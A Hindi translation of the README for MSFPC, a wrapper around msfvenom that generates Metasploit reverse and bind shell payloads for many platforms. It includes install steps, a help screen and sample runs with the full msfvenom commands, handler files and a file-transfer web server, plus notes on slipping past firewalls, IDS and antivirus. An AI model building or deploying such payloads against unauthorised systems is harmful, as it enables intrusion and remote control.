
MSFvenom Payload Creator (MSFPC)
msfvenom (मेटास्प्लॉइट फ्रेमवर्क का हिस्सा) के माध्यम से विभिन्न "बुनियादी" मीटरप्रीटर पेलोड उत्पन्न करने का एक त्वरित तरीका।
MSFvenom Payload Creator (MSFPC) उपयोगकर्ता की पसंद के आधार पर कई प्रकार के पेलोड उत्पन्न करने के लिए एक रैपर है। इसका विचार यथासंभव सरल होना है (केवल एक इनपुट की आवश्यकता) ताकि उनका पेलोड तैयार किया जा सके।
पूरी तरह से स्वचालित msfvenom और Metasploit अंतिम लक्ष्य है (साथ ही MSFPC को स्वयं स्वचालित करने में सक्षम होना)। बाकी उपयोगकर्ता के जीवन को यथासंभव आसान बनाना है (जैसे IP चयन मेनू, msfconsole संसाधन फ़ाइल/कमांड, बैच पेलोड उत्पादन और किसी भी आर्गुमेंट को किसी भी क्रम में (विभिन्न प्रारूपों/पैटर्न में) दर्ज करने की क्षमता)।
उपयोगकर्ता से एकमात्र आवश्यक इनपुट वह पेलोड परिभाषित करना होना चाहिए जो वे चाहते हैं, या तो प्लेटफ़ॉर्म (जैसे windows) या फ़ाइल एक्सटेंशन जो वे पेलोड के लिए चाहते हैं (जैसे exe)।
eth0।wan।loop।batch (सब कुछ के लिए), batch msf (प्रत्येक मीटरप्रीटर विकल्प के लिए), batch staged (प्रत्येक स्टेज्ड पेलोड के लिए), या batch cmd stageless (प्रत्येक स्टेजलेस कमांड प्रॉम्प्ट के लिए)!नोट: यह किसी भी स्तर पर किसी एंटी-वायरस समाधान को बायपास करने का प्रयास नहीं करेगा.

$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc
MSFPC पहले से ही Kali Rolling में पैकेज्ड है, इसलिए आपको बस इतना करना है:
root@kali:~# apt install -y msfpc
$ bash msfpc.sh -h -v
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
उदाहरण: msfpc.sh windows 192.168.1.10 # विंडोज और मैन्युअल IP।
msfpc.sh elf bind eth0 4444 # लिनक्स, eth0 का IP और मैन्युअल पोर्ट।
msfpc.sh stageless cmd py https # पायथन, स्टेजलेस कमांड प्रॉम्प्ट।
msfpc.sh verbose loop eth1 # प्रत्येक प्रकार के लिए एक पेलोड, eth1 के IP का उपयोग करके।
msfpc.sh msf batch wan # सभी संभावित मीटरप्रीटर पेलोड, WAN IP का उपयोग करके।
msfpc.sh help verbose # सहायता स्क्रीन, और भी अधिक जानकारी के साथ।
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
<DOMAIN/IP> डालने के बजाय, आप एक इंटरफ़ेस डाल सकते हैं और MSFPC उस IP पते का पता लगाएगा।
<DOMAIN/IP> गायब होने पर IP मेनू डिफ़ॉल्ट होगा।
<PORT> गायब होने पर 443 डिफ़ॉल्ट होगा।
<CMD> इंटरैक्ट करने के लिए एक मानक/मूल कमांड प्रॉम्प्ट/टर्मिनल है।
<MSF> एक कस्टम क्रॉस-प्लेटफ़ॉर्म शेल है, जो मेटास्प्लॉइट की पूरी शक्ति प्राप्त करता है।
<CMD/MSF> गायब होने पर जहाँ संभव हो <MSF> डिफ़ॉल्ट होगा।
नोट: मेटास्प्लॉइट अभी तक प्रत्येक <TYPE> प्रारूप के लिए <CMD/MSF> का समर्थन नहीं करता है।
<CMD> पेलोड आम तौर पर <MSF> से छोटे होते हैं और EMET को बायपास करना आसान होते हैं। मेटास्प्लॉइट पोस्ट मॉड्यूल/स्क्रिप्ट समर्थन सीमित करता है।
<MSF> पेलोड आम तौर पर <CMD> से बहुत बड़े होते हैं, क्योंकि इसमें अधिक सुविधाएँ होती हैं।
<BIND> लक्ष्य पक्ष पर एक पोर्ट खोलता है, और हमलावर उनसे जुड़ता है। आमतौर पर लक्ष्य पर इनग्रेस फ़ायरवॉल नियमों द्वारा अवरुद्ध।
<REVERSE> लक्ष्य को हमलावर से वापस जुड़ने के लिए मजबूर करता है। हमलावर को एक खुला पोर्ट चाहिए। लक्ष्य पर एंग्रेस फ़ायरवॉल नियमों द्वारा अवरुद्ध।
<BIND/REVERSE> गायब होने पर <REVERSE> डिफ़ॉल्ट होगा।
<BIND> हमलावर को जब चाहे कनेक्ट करने की अनुमति देता है। <REVERSE> को स्थायी पहुंच बनाए रखने के लिए लक्ष्य को बार-बार वापस जुड़ने की आवश्यकता होती है।
<STAGED> पेलोड को भागों में विभाजित करता है, इसे छोटा बनाता है लेकिन मेटास्प्लॉइट पर निर्भर करता है।
<STAGELESS> पूर्ण स्वतंत्र पेलोड है। <STAGED> से अधिक 'स्थिर'।
<STAGED/STAGELESS> गायब होने पर जहाँ संभव हो <STAGED> डिफ़ॉल्ट होगा।
नोट: मेटास्प्लॉइट अभी तक प्रत्येक <TYPE> प्रारूप के लिए <STAGED/STAGELESS> का समर्थन नहीं करता है।
<STAGED> कम-बैंडविड्थ/उच्च-विलंबता वातावरण में 'बेहतर' हैं।
<STAGELESS> एंटी-वायरस सुरक्षा को बायपास करते समय 'अधिक गुप्त' माना जाता है। <STAGED> IDS/IPS के साथ 'बेहतर' काम कर सकता है।
अधिक जानकारी: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
https://www.offensive-security.com/metasploit-unleashed/payload-types/
https://www.offensive-security.com/metasploit-unleashed/payloads/
<TCP> वापस जुड़ने का मानक तरीका है। यह TYPES के साथ सबसे अधिक संगत है क्योंकि यह RAW है। IDS पर आसानी से पता लगाया जा सकता है।
<HTTP> संचार को HTTP ट्रैफ़िक (अनएन्क्रिप्टेड) के रूप में प्रकट करता है। पैकेट निरीक्षण के लिए सहायक, जो प्रोटोकॉल पर पोर्ट एक्सेस को सीमित करता है - जैसे TCP 80।
<HTTPS> संचार को SSL का उपयोग करके (एन्क्रिप्टेड) HTTP ट्रैफ़िक के रूप में प्रकट करता है। पैकेट निरीक्षण के लिए सहायक, जो प्रोटोकॉल पर पोर्ट एक्सेस को सीमित करता है - जैसे TCP 443।
<FIND_PORT> बाहर निकलने का रास्ता खोजने के लिए लक्ष्य मशीन पर हर पोर्ट का प्रयास करेगा। कठोर इनग्रेस/एंग्रेस फ़ायरवॉल नियमों के साथ उपयोगी। <TYPE> के आधार पर 'allports' पर स्विच करेगा।
<TCP/HTTP/HTTPS/FIND_PORT> गायब होने पर <TCP> डिफ़ॉल्ट होगा।
ट्रैफ़िक में बदलाव करके, जैसे <HTTP> और और भी <HTTPS>, यह संचार को धीमा कर देगा और पेलोड आकार बढ़ा देगा।
अधिक जानकारी: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
<BATCH> जितना संभव हो उतने संयोजन उत्पन्न करेगा: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> और <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> प्रत्येक <TYPE> का केवल एक बनाएगा।
<VERBOSE> अधिक जानकारी प्रदर्शित करेगा।
$
$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Use which interface - IP address?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Select 1-3, interface or IP address: 1
[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
> '/root/python-shell-stageless-reverse-tcp-443.py'
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
नोट: WAN IP हटा दिया गया।
$ ./msfpc.sh loop wan
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Loop Mode. Creating one of each TYPE, with default values
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: xxx.xxx.xxx.xxx
[i] PORT: 443
[i] TYPE: android (android/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
> '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
...SNIP...
[*] Done!
$
नोट: WAN IP हटा दिया गया।

powershell_bind_tcp और bind_perl आदि)